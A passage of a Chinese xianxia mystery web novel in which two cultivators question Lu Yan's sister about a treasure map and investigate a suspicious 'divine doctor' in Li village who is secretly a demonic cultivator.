“这东西跑得很快吗?”苏晴沄疑惑道。 “日行四千里。” “那比信鸽快啊!”苏晴沄看着那小木匣一脸欣喜,“我舅、就我家老爷可以改用这个跟人通信啊。” 西九岭微微摇头,“避鳞虫不像信鸽,无法训练成信使。” “为什么?” “这种灵兽天性只服从母虫,除非同时驯养母虫和子虫,否则无法控制。” “那天神教怎么训练成功了?” 话问出口的同时,苏晴沄与西九岭四目相对,几乎同时在对方眼中看到了答案:“母虫在圣殿!” 西九岭一把抓起那木匣,抬头问李琦:“可有追踪药剂?” “有,”李琦立刻会意,转身从药匣中取出一个小白瓶递了过去,“这药粉无色无味却能发光,只要洒在避鳞虫身上便不怕它变色了。” 西九岭接过小瓶,对身边人解释道:“子虫失去主人必然会返 19. 卢雪 《前未婚夫说他梦见了我》全本免费阅读 千年古柏遍山翠,百年海棠满院香,铃音悠悠绕梁婉,香烟袅袅缠檐上。 苏晴沄踏着青苔石径轻步缓行,随意欣赏着千年古社中的苍树老花。西九岭走在她身侧,两人间的距离不远不近,走动间不会衣袍相触,又无法插进一人。 一路上两人都没有提起天神教,只是随意闲谈,从眼前风景到花木培育、园林布置,再到世间风俗、阵法排布,再到天文地理、神仙佛法,时间便在不知不觉中流逝。 走出山门时已过晌午,门前那株苍松还在,土坡上却空空如也。前两次来这里,喜子奶奶都坐在那里编红绳,今日不见了还有点儿不适应。 苏晴沄心想着老人失去孙子后可能心中郁结生了病痛,眼中就看见一个小道童送客出门,于是随口问了一句:“小师傅,编红绳的那位老人家今日没来吗?” 那小道童怔了一下,转瞬明白过来她问的是谁,答道:“您说卢施主吗?她昨日来辞行,说是要去外地寻亲。” 寻亲?喜子奶奶不是说他们祖孙俩无依无靠吗,怎么又有亲戚了……等等,“你说卢施主?” “是啊,就是在门前编红绳的那位老施主。” “她姓卢?” “对啊,卢施主每月都有布施,功德簿上写的清清楚楚是姓卢啊。” “你确定?” “确定啊。”小道童眨眨眼,这两位施主长得挺好看,可惜脑子不太好使,谁会在功德簿上留假名啊? “她叫什么?” “卢、卢雪。” 西九岭和苏晴沄迅速交换了一个眼神,双双御剑腾空、向西飞去,将那眼都看直了的小道童留在了原地。 喜子奶奶姓卢,那么很多事情就顺理成章了。为什么身为魔教殿主的卢严会救小喜子?为什么喜子奶奶会帮卢严打扫窝棚? 因为他们是亲戚! 那么如今的喜子奶奶去哪里寻亲?喜子死了,卢严失踪,她去找谁?唯一的可能是她不相信卢严拐带富家小妾跑路,她要亲自去济水确认! 当然,也可能她还有其他亲戚没告诉他们,但这并不重要,他们如今只要确认一点就可以了——喜子奶奶是不是在去往济水的路上。 两人没有猜错,在去往济水的路上他们追上了骑着毛驴的老人。 当二人从天而降挡在路前的时候,喜子奶奶瞪大了双眼、不敢置信,坐下的毛驴也不安地左右踱步起来。 她扯了半天缰绳才控制住那畜生,擦了擦头上的汗,不悦地瞪向二人:“你们要干吗?” 西九岭淡淡道:“要干吗?你不是很清楚吗?” 老人眼神飘忽道:“清楚什么?难不成是看上了老婆子那点儿赔偿,来打劫的?” 苏晴沄看了看老人坐下的畜生,“那点儿赔偿都拿来买驴了吧?”看到老人握着缰绳的手紧了紧,她嗤笑一声,“这么急赶路是要去济水找卢严吗?” 行事被说破,老人眼中发起狠来,“小贱人,少管闲事!” 一旁的西九岭不咸不淡飘出一句:“好好说话。” 老人一瞥之下看到他腰间的佩剑,心头怒气瞬间泄了大半。可转念一想,修士老爷又如何?不过势大罢了,跟那富户管家又有何区别?撒泼打滚混过去完事! 于是当即开骂:“老婆子就这么说话,你能怎……” 谁知还没骂出重点,她的身体就如同被人拎起来一般离了驴背,在空中慢慢横了过来,脸朝下悬空趴着、越飘越高,手中的缰绳几乎快要向上拉直,身下的毛驴咴咴惊叫起来,看上去是想跑。她只觉头晕目眩,握着缰绳的手抖个不停,生怕那畜生猛地发力将自己拖拽起来。 这时,苏晴沄才转头向着同伴轻飘飘开口:“嗳,别把老人家给吓坏了,还得问话呢。” 西九岭微微一笑,松了掐诀的手,老人便稳稳落回了地面。 苏晴沄走到老人身边,甜甜一笑,“抱歉啊,我这朋友脾气不太好,经常忘了凡人受不得法术的。” 老人脸色煞白地抬起眼,看着那甜美的笑容只觉得心中发寒,手里拼命攥着那根细细的缰绳。 苏晴沄见她真的怕了,又回头道:“还不拿点儿银子来给人压压惊。” 西九岭眨了眨眼,你施恩,为什么要我出银子? 苏晴沄理直气壮一扬下巴,不是穹山查案吗?公款报销啊。 最后还是西九岭掏了银子,足足十两。 苏晴沄牵起老人的手,将银子放进那枯槁的手掌里,顺便探了下脉,确定对方体内没有灵力。然后她猛地收起了笑脸,冷冷道:“压过惊了,可以说说你跟卢严真正的关系了吧?卢雪。” 听到自己名字的瞬间,卢雪终于明白了两人为什么会认定自己有嫌疑。她几乎要不顾一切转身逃跑,可手上那银子沉甸甸的压得她甩不掉,腿便抖了几下,终是没有离地。对面是两个有法术的人,她又能逃多远呢?这种时候心里藏着的事儿远不及手上的银子实在。 “对,我叫卢雪,是卢严的妹妹……”妹妹,她自己都快要忘记了。 六十三年前,景国东南一个偏僻的小村庄降生了一名男婴,那一日大风,父母便给他取名卢风。五年后的一个雪天,这户人家又降生了一名女婴,取名卢雪。 幼年的卢雪很崇拜哥哥。哥哥从来不服输,比他高一头的孩子也打不过他,流很多血也不会哭。哥哥说他不会一直待在山沟里,他命中注定是要发达的,有钱了会给她买饼吃、买花戴。 这样的哥哥在她七岁那年领了个穿绸缎的人回家,那人放下一吊铜钱就带着哥哥走了。许多年后她才知道,当年十二岁的哥哥把自己卖给了镇上的一个富户做坟少爷。 后来卢雪嫁给了同村的一个庄稼汉。早年还幻想着哥哥某天突然回来接自己去过好日子,但渐渐的,幻想淹没在了日复一日的柴米油盐中,到最后就连自己有个哥哥的事情也淡忘了。 父亲死了、母亲死了、丈夫死了、儿子死了、儿媳死了,等到三年前水灾的时候,家里就只剩下了她和唯一的孙儿。 田淹了、房毁了,乡里乡亲死的死、逃的逃,最后她也带着喜子开始了流浪乞讨,就这样苟延残喘地走到了柳城。 小喜子被救下的时候她还以为是父亲的亡魂显灵了,无他,只因卢严的脸跟父亲年轻时太像了,简直是一个模子里刻出来的。 她不知道卢严为什么改名字,也不关心卢严怎么学了道法。只觉得能够长生不老的哥哥居然还要住在荒坡那样的地方,不能吃香喝辣、不能睡上软床、不能穿金戴银,这跟当初在村里有什么区别? 要不是卢严的丹药治好了她多年的腿疾,她几乎要厌恶这样的哥哥了,但心底终究是觉得道法这东西也没什么了不起。 卢严开口叫他们留下时,她没有拒绝,毕竟卢严可以保护她们安全。意外的是,小喜子跟卢严十分亲近,甚至比她这个亲奶奶还亲…… 老人絮絮叨叨地讲着,做惯了编剧的苏晴沄听得津津有味,西九岭却是有些耐不住了,说来说去一句话——两人是兄妹。 “为什么去济水?” 卢雪被催促了也不生气,似乎是彻底认命了一般有问必答:“卢严有张地图,说是,”她咽了口吐沫,声音微微抖动,“说是画了地珠的下落。” “地珠?!”西、苏二人异口同声,难道不是圣殿地图吗? “嗯,那可是地母的宝物啊……”卢雪闭上眼、嘴唇微动,就像那日跪在地母像前一般开始了忏悔。 片刻后,她再度张开了眼,望向西南方那座烟云缭绕的山峰,“他说地珠就在神女山里,等他、等他成了什么婴……” “元婴?” “对,元婴。说那时候就能得到地珠、称霸一方,让我跟喜子过富贵的生活。他说自己隐忍这些年为的就是这个,那地图比他的性命还重要,不能让任何人知道,刘大也不行。” “所以你知道他跟刘大的关系?”西九岭试探道。 “他说刘大是可以信任的人,但地图的事情绝对不能说,要是刘大知道了,肯定会抢走地图。” “所以地图与天神教无关?”西九岭更进一步。 “天神教?”卢雪以为自己听错了,“你是说母神教?” 西、苏二人交换了一个眼神,卢雪似乎并不知道天神教的事情,卢严只跟她说刘大是自己的朋友,这也附和天神教的保密机制。 “说回那张地图,”苏晴沄把话题拉回来,“卢严为什么要告诉你?”既然需要突破元婴,那卢雪这样的凡人肯定帮不上忙,告诉她有什么用呢? “为了保护地图。他将地图拆成了两半,一半缝在自己的皮肤下,另一半缝在了小喜子的皮肤下。” “所以他不会丢下喜子跑路,因为那一半地图在喜子身上!”苏晴沄恍然大悟,所以卢雪坚定地跟喜子说卢严会回来,所以喜子死后卢雪不让任何人碰他的尸体! “没错。”卢雪肯定了这个答案,“所以你们编的那个故事我不信,我知道卢严肯定是在济水出了事。” “你要去济水找他?” 卢雪轻轻点了下头,语气平静道:“要是他死了,我就把尸体挖出来,然后拿了地图自己去女神山,只要找到地珠……” “你找不到的。”西九岭冷冷道。 去济水不是为了寻找亲人,而是为了这种不切实际的妄念,真不知是该说她可笑还是可怜。 卢雪身体微微一颤,“为什么?因为我不是那个什么婴吗?”不知是被踩到了什么痛点,她突然就爆发起来,“不试试怎么知道?我每天都向地母祷告,地母说不定会庇佑我呢?别人得不到,我就一定得不到吗?我都那么穷了还坚持布施,我这么虔诚,地母一定会爱我的!一辈子都在磕头,我一辈子都在磕头,难道不该过上好日子吗?!” 西九岭看着她没有说话,只是默默伸手取出了半张地图递过去。 卢雪几乎是一眼就认出了那是卢严身上的半张地图,她颤抖着手接过来,然后迅速从怀中掏出自己那半张、拼了起来。 是的,那是一张完整的地图,一张画着地珠下落的地图! “哈哈!哈哈哈哈哈!地图!地图!我找到地珠了,荣华富贵!荣华富贵!” “根据穹山的记 20. 黎村神医 《前未婚夫说他梦见了我》全本免费阅读 一场春雨为嫩绿的枝芽坠上了点点晶莹,黄鹂歌唱着雨后的芬芳,蝴蝶舞蹈着春天的喜悦。走在这样的乡间小路上,每个人都会感到心情舒畅,就连被陌生人询问攀谈也能够和颜悦色的回答。 “是小女的身体有痒。”骑在马背上的中年人回头看了眼身后的马车,然后很自然地打量起问话的人。 这一对年轻男女虽然衣着朴素,但相貌气质都是一等一的,徒步与骑马的他并排行走也能够气息平稳,显然不是一般人。也是去求医的吧? 他这么想着便开了口:“你们也是去找神医的?” 西九岭抬头看了眼马背上的中年人,微笑着点了下头,虽然不是来看病的,但他们确实要找那位神医。 果然被他猜中了,中年人富态的脸上露出些许得意,“我就说嘛,去黎村还能为了什么?” “那位神医很出名吗?”苏晴沄有些好奇,李琦的传讯很简单,只说是一位远近闻名的神医。 “当然。”中年人随口答了一句,然后露出疑惑的神情,似乎想问:你们不就是因为他有名才来的吗? 苏晴沄看出他眼中的疑惑,笑道:“我们是最近才听说有这么一位神医的。” 中年人露出了然之色,想必是来替家人探访的,似乎还不知道神医的本事。 或许是因为雨后春色令人舒畅,也或许是因为黎村将近心情愉悦,他有些热心地介绍了起来:“黎村这位神医可是回春妙手、出神入化啊,说有起死回生之能也不过分。不管什么疑难杂症,只要神医出手就没有治不好的。” 起死回生还不过分?苏晴沄努力控制着微笑的表情,觉得中年人实在太过夸大其词。一旁的西九岭也是但笑不语。 中年人见他们似乎不信,又道:“药王谷,你们知道吧?” 西九岭露出了感兴趣的表情,“当然。” 见他看过来,中年人再次露出了得意的神情,“那位神医就是药王的弟子,明白了吗?” 西九岭露出一丝恍然之色,怪不得中年人对那位神医有如此信心。 药王谷乃是当今世上最强的医道仙门,位于穹山、景国、陈国三方势力交界之处,隐秘于深山密林之中,而药王又是该门派中的最强者,于医道一途是无可争议的天下第一。 问题是,药王不是某一个人,而是药王谷对历代最强者的特有称呼,通常不会有人自称药王弟子。 “听说那位神医是黎村人?”西九岭进一步求证。 “不是,”中年人摆了下手,“神医是五年前才到黎村的。” 已经五年了吗? 西、苏二人迅速交换了一个眼神——果然有问题。 药王谷偏居一方,门中之人大多孤傲避世、鲜少离谷,更没听说有那位药王谷弟子在外定居的。听说当年大景开国皇帝亲自请药王出谷为景后诊治,药王也只肯赴元城十日而已。 “您对神医的事情很了解啊?”苏晴沄想多了解些信息。 “这个咱们十里八乡都知道,毕竟当年是轰动一时的大事啊。” “哦?”苏晴沄有些好奇,“什么大事。” 中年人笑着捻了下胡须,惯有的得意神情又浮了上来,“就是神医单人背药闯官兵的大事啊。” “闯官兵?”苏晴沄眼睛一亮,这么戏剧性的吗? 中年人似乎很满意她的反应,调整了一下在马背上的坐姿,徐徐开口:“五年前黎村出了怪病。一开始是有人身上起黑斑、发热、说胡话,没几天就死了,家人以为是寒症也没在意,结果下葬没几天又有人起黑斑,一家人接连去世。然后邻居也开始有人起斑,这才觉得不对劲,去镇上请了大夫。大夫到村里看过之后就吓得跑回了镇上,报官说黎村是疫病了。 官府立刻派人围了村子,村里没病的人想走,可官兵不让,即便是孩子也不放。据说那一日黎村哭声震天,还有人想冲出去,结果……哎,我们当时都觉得黎村肯定是要没了。 谁知道就在官兵快要堆完柴火的时候,神医出现了。他一袭白衣、身背药箱,独自走出山林,站在官兵面前朗声道‘我乃药王弟子,速速让开!’。” “然后呢?”苏晴沄忍不住追问。 “然后他就迈开步子,只身一人进了村。官兵都被他的气势镇住了,纷纷给他让道。” “没人拦他吗?” “药王谷的人谁敢得罪?官府听说后就把柴堆给撤了,只是依旧派兵围着不让人出。” “然后那位神医就平息了疫情?” “是啊!从神医进村之后就再没有尸体送出来,不过一旬时间,黎村的疫病就消失了!” 果然是顺理成章的剧情,苏晴沄心里想着。可是疫情消除的时间未免太短了?听症状应该是中世纪称之为黑死病的鼠疫吧?那可是夺走五千万欧洲人生命的病情,十天就解决了吗? 就在这时,几人身后的马车内传出一阵咳嗽声。回头看去,丫鬟面色凝重地挑开车帘,将一方帕子递了出来。跟在车旁的小厮接过手帕便急忙跑进了路边树林,片刻后林间升起淡淡的烟。 虽然丫鬟与小厮的交接没有停顿,但以西、苏二人的眼力还是看到了那帕子上的血迹,咳血吗? 苏晴沄在记忆中仔细搜索,肺结核在这个世界应该是不治之症,虽然丹药可以压制病毒,但副作用很大,凡人是无法承受的。可看那中年人一路闲聊的模样似乎并不焦虑,仿佛是认定神医能够治好他女儿的病…… 旁边的西九岭开口问道:“找这位神医看病不知要付多少诊金?” “神医济世救人,不收诊金的。” “不收诊金?”苏晴沄觉得如果不是自己听力有问题,就是那位神医脑子抽了。 “对啊。神医看病只收药材,不论贵贱、不论多寡,若是穷苦,挖些寻常草药拿去一样可以。” 苏晴沄眨了眨眼,只要有药就能医人,不以盈利为目的的医者收了诊金也是买药材罢了,所以直接收药材便是。 乍一听似乎很合理,可仔细一想就觉得不对劲。比如黎村的疫情,是普通药材就能解决的吗?隔离、消毒的花费又该怎么办?还有马车上那位,在这个没有抗生素的世界要吃什么灵丹妙药才能治好肺结核?这是随便收点儿药材就能收支平衡的吗? 正想着,就听西九岭问那中年人:“不知你们带了什么药材给神医?” 中年人几不可闻地叹了一声,“说实话,小女的病不太好治,想必要用不少药材。虽然神医仁心妙手,可我也不是没有良心,总不能让好人吃亏。所以将住宅以外的地都买了,收了棵百年老参带来,希望神医能够笑纳。” 西九岭微微点头,心里却不认为这一棵人参就能治好马车里那位姑娘。 问完了想知道的事情,他便失了谈话的兴趣。倒是苏晴沄又八卦了一番神医的相貌、喜好、出身之类的。 可惜中年人并未见过神医,也没听说过他出身何地,只是知道不少事迹,什么驼背变直、瞎子睁眼、断气复苏,反正就是手到病除、无所不能。 苏晴沄越听越觉得这不是个神医,而是个神棍。可脸上却装作很感兴趣的模样,想着尽可能多搜集些素材,说不定将来能写个话本呢? 时间很快过去,耳边渐渐有水声传来。随着林间的小路走到尽头,眼前出现了一片开阔的平原,目光可及村落中袅袅炊烟。河水在田边蜿蜒,农夫在垄间耕作,孩童在田埂上追逐,一派自然祥和。 一行人的到来并没有引起村民太多的关注,只有几个孩童从田埂上蹦蹦跳跳的跑上来打量他们这些外乡人。 其 21. 卢严是谁? 《前未婚夫说他梦见了我》全本免费阅读 根本不需要调查! 看着西九岭眼中同样难以掩饰的震惊,苏晴沄如是想。 名叫小桃的女孩蹲在五步外的地方摆弄着石头,车夫和小厮在马车前探头探脑,丫鬟一脸担忧地向着院门内张望,中年人背着手在院子里来回踱步并不时望向窗口。 所有人都在等待神医为患者治疗,从普通人的视角去看,这里一切正常。 可她和西九岭却能够看到屋内陡然出现的魔气,以及那魔气超常的膨胀速度。几乎短短几息之间就开始透过窗户和门缝溢出,进而笼罩了整座屋舍——太嚣张了! 看到身边人冷着脸迈开步子,她连忙伸手将其拉住,传音道:他若是要杀人,你现在进去看到的就是患者的尸体;他若是要人质,等出来,咱们或许还能将人救下。 是的,魔修要杀凡人无需如此麻烦。那神医或许是看出他们的修士身份,想要拿住一个人质,又或者需要从那凡人身上得到什么,不管怎样,总还有机会救人。 如此一想,西九岭就停下了脚步,但面色依旧沉寂如冰封之海。 苏晴沄看了眼停止扩张的魔气,再次传音:你不觉得奇怪吗? 西九岭皱了下眉,但立刻明白了她的意思。如果真是天神教徒,应该像当初的刘大那样,即便怀疑他们的目的,也绝对不会先行暴露自己,那样才是正常的行为模式。 可这位神医却反其道而行之,这甚至不能说是无所畏惧,简直就是故意挑衅! 苏晴沄:这么有恃无恐,难道是有什么底牌? 西九岭眯起眼看向那魔气笼罩的屋舍:底牌嘛……正魔两道势不两立,仅靠几个人质要挟是没有用的。 苏晴沄点头表示认同:总不能要挟咱俩自杀吧?只要咱俩不死,这里有魔修的消息就会传出去,到时候会有更多正道仙门前来围捕,他注定逃不掉。 西九岭:或许他对自己的修为很有自信,也根本没打算要什么人质。 毕竟自己将修为压制在了金丹期,对方如果是个不长眼的傲慢元婴,说不定打算等会儿直接砍了自己呢? 苏晴沄露出恍然之色,同样想到自己压制了修为:记得你说过,魔修中有一个化神吧? 西九岭一怔,这个猜测未免太大胆了吧…… 苏晴沄却双眼发亮:卢严拉车去柳城只是障眼法,实际目的是来这里跟神医碰头。所以他在半路动了手脚,下毒让车队的人产生腹泻之症,而刚好这附近的人都知道黎村有个神医,车队就顺理成章来治疗了。 姑娘,能说说你这脱口而出的情节是怎么想出来的吗? 推论到此,苏晴沄眼中闪过一丝狡黠:殿主负责联络教主,而卢严就是柳城分殿的殿主,那么这位神医的…… 西九岭瞪大了眼睛,神医就是天神教主——那位魔修中的化神——姑娘,你真是太敢想了! 见他没有反应,苏晴沄歪过头问:怎么样?这个推论有问题吗? 西九岭稍作思索才传音道:逻辑上说的通,但问题是天神教的行事风格。门派的风格通常受其领导者影响深远,我认为谨小慎微、善于伪装和隐藏的天神教,其教主应该不是如此张扬行事之人。 苏晴沄想了想:要这么说的话,这位神医的行事根本就不符合天神教的风格啊,难道他不是天神教徒吗? 西九岭:那倒未必,个别人行事不守规矩也是难免的。 见她神情有些怀疑,西九岭又道:梦见中,那名男子带着铜钱进了济水城,而卢严身上发现了铜钱,应该就是他。出柳城前他还没有铜钱,到济水便有了铜钱,一路上车队只在黎村停留过,而黎村神医又刚好是魔修,天下哪有这么巧的事? 苏晴沄:也对,卢严应该就是来见神医的。而神医会如此有恃无恐是因为有不为人知的底牌,确信能够致我们于死地…… 是什么底牌呢? 正想着,两人就见那笼罩房间的魔气渐渐变淡、减少,直至最后消失不见。 随后房门打开,患者走了出来。 原本面色苍白的少女此刻双颊微微红润,先前瘦小的身体也似乎挺拔了许多,踏出门槛的瞬间便难掩激动的喊了一声:“爹爹!” 中年人睁大眼睛上下打量着女儿,看到女儿的气色,他的神情喜悦中掺杂着不敢置信,嘴唇颤动了几下却没能说出话来。看来路上说的那般有信心,多少有些自我催眠的成分,心底里还是有所怀疑的。 最终还是那位女儿开了口:“神医说让我明日再来复诊一次,便能痊愈了!” 父女俩皆是难掩的欣喜与激动,院门外的几个下人也都露出了喜悦的神情。 虽然不想破坏这种气氛,但苏晴沄还是走了上去,道了句恭喜,然后开口询问:“在下略通医术,不知能否为小姐把个脉?” 中年人一直认为他们是来为家人探访神医的,有这样的要求也能够理解,而且他也想从旁确认女儿的病情,于是一口答应。 就这样,苏晴沄站在院中为少女搭了脉。不多时,她睫毛微微颤了几下,然后收回了手,“小姐气脉通畅,身体已无大碍。只是肺经、肝经有亏,多加调理即可。” 病愈之事从她口中得到了印证,父女俩满心欢喜的离开。苏晴沄对西九岭摇了摇头,示意她没在少女体内探出任何魔气残留。不过明日还有复诊…… 这时,门口有了动静。二人抬头看去,是神医走了出来。 他面色如常,但体内气息显然不似之前那般充沛,似乎是有不少的消耗。他应该是听到了苏晴沄为少女诊脉,但脸上却没有丝毫恼怒的神情,只是对二人淡淡开口道:“进来吧。” 房间内宽敞明亮,一张桌子、三把椅子、一张床。床侧的衣架上搭着白布,床头放着铜盆,桌上摆着脉枕、针具和文房四宝。东间有屏风遮挡,里面散发着草药味,想来是药房。西间放着门帘,看不到里面的景象,但苏晴沄猜测那是病房。 三人进屋后直接在桌前 22. 不嫌弃你 《前未婚夫说他梦见了我》全本免费阅读 一铲子土,两铲子土,三铲子土…… 西九岭一脸放空地看着蹲在地上的姑娘用小铲子挖土,恍惚间还听她口中哼着类似童谣的调子:在小小的花园里面挖呀挖呀挖,种小小的种子开小小的花~ 一时间他有些恍惚,自己不是来调查神医的吗?然后发生了什么? 对了,那个叫魏宁的神医说不认识卢严,然后强硬的赶走了他们,虽然他们想以游山玩水的理由借住一下,但被拒绝了。还好在门口遇到了玩儿泥巴的小桃,以十文钱一天的住宿费换取了收留。 再然后,小桃回家跟妈妈打招呼,苏晴沄借了小桃的铲子,拉着他跑到了村子的西北角,选了块地开始挖土…… 他嘴角抽动一下,终于忍不住发问:“你这是要干吗?” 苏晴沄没有抬头,但听得出声音中带着一丝兴奋:“布阵啊。” 布阵?西九岭怔了一下,然后想到了一种低阶监视法阵。 在被监视区域的四角埋入被监视人的私人物品,然后在上面画下特定的符纹即可。阵成之后只要被监视人离开监视区域,布阵人就能感知。但这种法阵十分初级,无法对被监视人形成阻碍,好处则是不宜被察觉。 但他还是不明白,“为什么要用铲子?” “挖土不用铲子用什么?” “用法术啊!”你不是修士吗?姑娘!再说了,普通人也不会用你手里的那把小铲子挖土啊,只有小孩子才会用那个玩儿泥巴! 苏晴沄终于抬头看了他一眼,或者说,白了他一眼,“哎,年纪轻轻就没了童心,真可怜!”然后她继续埋头挥舞手中的小铲子。 西九岭嘴角又是一抽,对不起,我已经三百岁了! 等等,还是不对吧?就算是年轻的齐鹤扬也不可能用小铲子挖土吧?关键问题难道不是一个成年人为什么会兴高采烈的玩儿泥巴吗???为什么被鄙视的是我啊! 看着苏晴沄终于满意的放下了铲子,他有些无奈的接受了现实,然后问了个关键问题:“你有他的私人物品吗?” 苏晴沄得意地抬起头,从袖筒里抽出一张纸在他眼前晃了晃,然后笑着撕成四份,把其中一份放进了挖好的洞里,开始填土。 西九岭微微惊讶,那显然是神医诊室桌上的纸,“你什么时候拿的?” “出门前啊,就你跟神医互相瞪的时候。” 互相瞪…… 西九岭深吸口气,决定忽视她的措词,“其实不用这么麻烦,我把李琦给我的跟踪药粉留在他身上了。” 苏晴沄没有停下动作,依旧是兴致勃勃地填平了坑洞,然后在上面画好符纹、注入灵力。起身看了看,一脸满意道:“双重保险啊,万一他换了衣服药粉就没用了,不是吗?再说药粉并不能实时监控,有了这个法阵,只要他出村咱们就能知道,到时再利用药粉跟踪呗。” 关键是,她想尝试一下布阵。记忆是记忆,实操更有趣啊! 见“齐鹤扬”一脸无可反驳的表情,她举起胳膊,手中的小铲子向前一指,豪气干云道:“走,去西南角!” 西九岭默默叹了口气,垂着肩跟在后面,希望这一路上都遇不到人,不然一定会被当成有恶趣味的…… 开始蹲在西南角挖土的时候,苏晴沄问他:“你觉得魏宁的话可信吗?” “你指药王谷的事,还是卢严?” “卢严啊,”苏晴沄顿了下,“药王谷逆徒的事,多半是真的吧?” 西九岭微微点头,他也这么认为。 “我感觉他不像说谎,”苏晴沄回忆魏宁当时的表情,“他好像是真的不记起卢严这么个人。” “如果他说的是真话,那么卢严又是在哪里、从谁手中得到的那枚铜钱呢?” 见她默然不语,西九岭接着道:“明日看看那位小姐复诊的情况吧。”然后又追了一句,“即便那位小姐没有异状,也不能证明魏宁不会加害病患。” “你是说,他可能顾及咱们,所以不会在那位小姐身上动手脚?” “对,要将这村里的人都查一遍才能确认。毕竟利用行医之便在病患体内种下魔气对‘神医’而言手到擒来。” 卢严体内也被注入了额外的魔气。想到这个,苏晴沄点了点头,“有了那场疫情,这村子里的人基本都接受过魏宁的诊治,如果真的动过手脚,五年时间不可能没有一点痕迹。” 她想了想,又问:“能用金刚砂吗?” 西九岭断然否定:“不行,无法一击击破的情况下不能打草惊蛇。” 接下来,两人一边布阵一边商量如何分头调查村民体内魔气的情况。当一切布置停当,西边已经泛起了火烧云,艳红的背景下,小桃蹦蹦跳跳地朝着两人跑路,头上的羊角辫轻快的迎风摇摆。 小桃跟母亲相依为命,家里不大,只有两间像样的木屋。半大不小的院子里摆着一个石磨,却没有驴子,倒是养着几只鸡。水缸边的木架上搭着麻绳,地上的笸箩里还有筛了一半的玉米。旁边的桌子上摆着一盘炒鸡蛋、一盘看不出是什么的野菜、一盘红薯和几个馒头,应该是屋里不够宽敞,所以准备在院里用晚膳。 小桃的母亲姓李,是个眉眼和善的圆脸妇人,粗布衣裙上打着补丁却干干净净,似乎小桃的整洁也是受了母亲的影响。 回忆起那场疫情,李婶下意识搂住了女儿,似乎是无法独自支撑痛苦的回忆,又或许仅仅是潜意识要抓紧身边唯一的亲人。 “一开始是公公身上起了黑斑。因为邻居中已经有人死了,所以婆婆决定独自照料公公,不让我们靠近西房。后来婆婆也开始起斑、发热,我男人让我带好桃子,他去照顾二老。还说、还说要是他也起斑,就带着他们去山里等死……可官兵封了村子,根本出不去。” 李婶有些哽咽,没有继续说丈夫和公婆的过世的情况,只是喃喃道:“到处都是死人,烧都烧不过来……烟味儿、焦臭味儿,简直就是地狱……” 短暂的沉默后,小桃从她怀里昂起头来,用略显稚嫩的童声说道:“是神医叔叔救了大家!只要他在,村里就不会再有人生病了!” 她清脆的声音中透着骄傲,脸上没有一丝对那场疫情的恐惧。想想五年前她也就两、三岁,还不是能够记住的年纪,因此也不难理解。 听女儿这么说,李婶终于露出一抹安心的笑容,“是啊,幸亏神医来了,他可是我们全村的大恩人啊。” “神医叔叔不仅赶走了疫病,还治好了吴爷爷的腿!还有张大娘的眼睛!” “是啊,神医可不是一般人,张大娘都瞎了几十年了,居然又看见了!” “还有!还有!去年小彤掉进水里淹死,是神医把她救活的呢!” 接下来几乎都是母女俩对神医的称颂,在他们眼中神医就是让全村活命的菩萨,什么病都能治好,死人也能救活,而且从来不收钱,这不是菩萨是什么? 看着母女俩一脸崇拜,西、 23. 入魔之道 调查足足用了三天时间。 而且让苏晴沄没有想到的是,时间主要浪费在了自己这边。因为探查魔气需要肢体接触,所以她负责女村民,西九岭负责男村民,先完成的人调查小孩子。 本以为女人间发生肢体接触相比男人更加自然,却没料到这个世界的女子并不那么喜欢出门,即便是必须劳作的村妇,如果没有必要也是待在家里。尤其家中有年轻妇人下地、洗衣、劈柴的,年长的妇人就可以全天待在家里。最后逼得她不得不假装对当地刺绣风格感兴趣,一一登门拜访。 而那个“齐鹤扬”,只不过拎着酒壶转悠了一天就把全村男人搞定了! 更要命的是,一天到晚听的都是神医妙手回春的事迹,感觉这些人是联合起来要给她洗脑的。 看着她一脸生无可恋的走回来,西九岭靠在门口的大树上一派悠闲的打趣道:“怎么?没找到可心的绣品?” 苏晴沄撇了撇嘴,走到他身边坐下,懒得回话,只是抬起头看着天上的云彩发呆。 西九岭挑了挑眉,这姑娘难得有不回嘴的时候,“怎么?不顺利?” 苏晴沄叹了口气,才道:“总算是查完了,但什么都没有查到。”连同几日前那个复诊的少女在内,没一个感染魔气的。 西九岭的神情也严肃起来,魏宁待在这里不是为了发展信徒的吗? “你说不为了发展信徒,他干吗待在这种穷乡僻壤?”苏晴沄问出了他心中的问题,“总不会真的是为了治病救人吧?” “呵,目前看来还真就是治病救人。所有村民都说他是济世苍生的活菩萨,而他也确实没对这些人下手。” “正因为所有人都说他好,而他也没有露出任何纰漏,所以才更加可疑!” “哦?你这思路倒是新奇。” 苏晴沄皱起眉头,“不为名、不为利、明明能够妙手回春,却甘心偏安一隅默默行医。菩萨还要弘扬佛法呢,他比菩萨还无欲无求。” “不为利是真的,但也算不上不为名吧,毕竟七里八乡都已经知道神医的大名了。” “如果去繁华的城镇,名声会传播的更广吧?就算是喜欢黎村的生活环境,那也可以开个医馆啊,这才是扬名立万的常规操作吧?更可疑的是,”苏晴沄望向神医家的方向,“他若真喜欢黎村,为什么没成亲?” 西九岭再次觉得她思路清奇,“为什么要成亲?” 苏晴沄理所应当道:“爱上一个地方,自然会爱上那里的姑娘。” “你这又是哪门子歪理,”西九岭笑着摇头,“不过身为魔修,他还真是无欲无求的可以,比咱们更加道心坚固啊。” 苏晴沄凝视远方,一脸严肃道:“那他又为什么会入魔呢?” 西九岭被她问得一愣。是啊,一个无欲无求的人又怎么会入魔呢? 苏晴沄并没有觉得他能给出答案,转而问了个现实的问题:“现在怎么办?没人感染魔气就证明他不是天神教的吗?那卢严的铜钱又是谁给的?” “还有一个办法可以证明他是否与天神教有关。” “什么办法?” “梦见中,还有一个叩拜魔神像的画面。” “魔神像?” “是的。一尊黄金的魔神像。” “之前怎么没听你说起过?”苏晴沄斜睨着他,“你该不会还隐瞒了什么信息吧?” 之前没想到会一直跟你查案啊,西九岭抬手摸了摸鼻子,含糊道:“本以为在柳城搜查地道的时候就会发现那个魔神像的,后来没找到,我也就忘了说。” 他想了想,又道:“还有就是在看到铜钱之后、魔神像之前出现过一片白花花的画面和流水声。流水声已经可以确定是济水穿城而过的声音,白花花的画面还不知道是什么。梦见的内容就这些了。” “白花花的东西……”苏晴沄若有所思,“棉布?柳絮?鹅卵石?” “不知道,也许没什么意义,只是想让我听到那些水声,确认是济水吧。” 这时,小桃从院子里跑出来叫道:“开饭啦!” 苏晴沄应了一声,然后对身边人低声道:“明天我设法引开魏宁,你去他家找找有没有魔神像。”然后率先起身走向小桃。 西九岭起身追上去,问道:“你打算怎么做?” 